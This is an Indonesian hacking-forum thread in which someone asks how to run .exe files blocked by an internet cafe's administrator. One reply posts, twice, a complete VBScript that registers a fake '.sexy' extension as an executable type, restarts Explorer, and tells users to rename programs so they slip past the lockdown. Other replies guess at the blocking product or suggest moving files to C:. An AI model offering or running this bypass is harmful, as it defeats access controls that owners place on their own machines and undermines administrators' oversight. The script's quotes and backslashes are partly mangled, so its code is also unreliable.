kemarin waktu q buka aplikasi ada tulisan gini "You are not permitted to execute the following program "E:\idm.exe" Please contact your administrator if you require access"
gimana nie ?? mohon pencerahan para master . :kaca: :kaca: :maaf: :maaf:
hel me ,, ekstensi exe di warnet ga bisa jalan ,.
Moderators: Paman, Xshadow, indounderground
Forum rules
Tool yang diupload oleh member tidak diperiksa oleh kami, mungkin saja terinfeksi oleh malware secara disengaja ataupun tidak, saran kami sebaiknya mendownload tool tersebut dari sumber pembuatnya. Bagi yang buat thread diharapkan menampilkan screenshot tool.
Tool yang diupload oleh member tidak diperiksa oleh kami, mungkin saja terinfeksi oleh malware secara disengaja ataupun tidak, saran kami sebaiknya mendownload tool tersebut dari sumber pembuatnya. Bagi yang buat thread diharapkan menampilkan screenshot tool.
-
steventeen
- Posts: 135
- Joined: Sun Jul 27, 2008 3:22 pm
- Location: Minahasa Selatan
- Contact:
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
cobain deh pake program securitynya om Poni....kalo nggak saLah masuk di bonus Xcode magazine 12....OK...
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
const HKEY_CLASSES_ROOT = &H80000000
const HKEY_CURRENT_USER = &H80000001
QUOT = chr(34)
strComputer = “.”
On error resume next
Tanya = MsgBox(”By Pass Exelockdown dengan Registry Shell Spawning”& _
vbNewLine & “Reset Exelockdown?”, 36,”Exelockdown Hacking – by Lovepassword”)
If Tanya = 6 Then ‘Bila dipilih YA
Set objRegistry = GetObject(”winmgmts:{impersonationLevel=impersonate}!\” &strComputer & ” ootdefault:StdRegProv”)
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexy”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,,”exefile”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,”Content Type”,”application/x-msdownload”
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexyPersistentHandler”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexyPersistentHandler”,,”{098f2470-bae0-11cd-b579-08002b30bfeb}”
objRegistry.CreateKey HKEY_CURRENT_USER, “SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced”
objRegistry.SetDWORDValue HKEY_CURRENT_USER,”SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced”,”HideFileExt”,0
Set objWMIService = GetObject(”winmgmts:” _
& “{impersonationLevel=impersonate}!\” & strComputer & ” ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
(”SELECT * FROM Win32_Process WHERE Name = ‘explorer.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next
set objShell = createobject(”Wscript.Shell”)
objShell.Run “explorer.exe”
msgbox “Copi file exe, rename menjadi file sexy, lalu jalankan”,vbInformation,”Exelockdown Hacking – by 060183”
End If
Silakan copy paste di notepad lalu pilih all files dan simpan dengan extensi .vbs kemudian jalankan.
Kemudian ubah extensi file .exe yg kmu inginkan jadi .sexy lewat cmd
jalankan file *.sexy dari cmd
good luck :devil
const HKEY_CURRENT_USER = &H80000001
QUOT = chr(34)
strComputer = “.”
On error resume next
Tanya = MsgBox(”By Pass Exelockdown dengan Registry Shell Spawning”& _
vbNewLine & “Reset Exelockdown?”, 36,”Exelockdown Hacking – by Lovepassword”)
If Tanya = 6 Then ‘Bila dipilih YA
Set objRegistry = GetObject(”winmgmts:{impersonationLevel=impersonate}!\” &strComputer & ” ootdefault:StdRegProv”)
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexy”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,,”exefile”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,”Content Type”,”application/x-msdownload”
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexyPersistentHandler”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexyPersistentHandler”,,”{098f2470-bae0-11cd-b579-08002b30bfeb}”
objRegistry.CreateKey HKEY_CURRENT_USER, “SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced”
objRegistry.SetDWORDValue HKEY_CURRENT_USER,”SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced”,”HideFileExt”,0
Set objWMIService = GetObject(”winmgmts:” _
& “{impersonationLevel=impersonate}!\” & strComputer & ” ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
(”SELECT * FROM Win32_Process WHERE Name = ‘explorer.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next
set objShell = createobject(”Wscript.Shell”)
objShell.Run “explorer.exe”
msgbox “Copi file exe, rename menjadi file sexy, lalu jalankan”,vbInformation,”Exelockdown Hacking – by 060183”
End If
Silakan copy paste di notepad lalu pilih all files dan simpan dengan extensi .vbs kemudian jalankan.
Kemudian ubah extensi file .exe yg kmu inginkan jadi .sexy lewat cmd
jalankan file *.sexy dari cmd
good luck :devil
-
Darkzzzz
- Posts: 2206
- Joined: Fri Jul 27, 2007 1:59 pm
- Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
- Contact:
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
Wuih... Mantab...
@TS
Mgkn warnetnya pake Anti-Executable dr Faronics atau prog sejenis
@TS
Mgkn warnetnya pake Anti-Executable dr Faronics atau prog sejenis
I'm not A Hacker, But I'm A 
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
Cma share apa yang kebetulan kita taw aja...........
khan masih newbie......
:circle:
khan masih newbie......
:circle:
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
gimana klo vbs juga di blok??
soalnya ane dah pernah nyoba tp tetep ga bisa jalan
mohon pencerahannya
terimakasih
soalnya ane dah pernah nyoba tp tetep ga bisa jalan
mohon pencerahannya
terimakasih
Re: hel me ,, ekstensi exe di warnet ga bisa jalan ,.
klo mau yg gampang...pindahin aja prog yg mw di jalanin ke C:....coz program2 windows semua berada di C....jd ga mgkin klo exe jg ga jalan d C :devil :devil
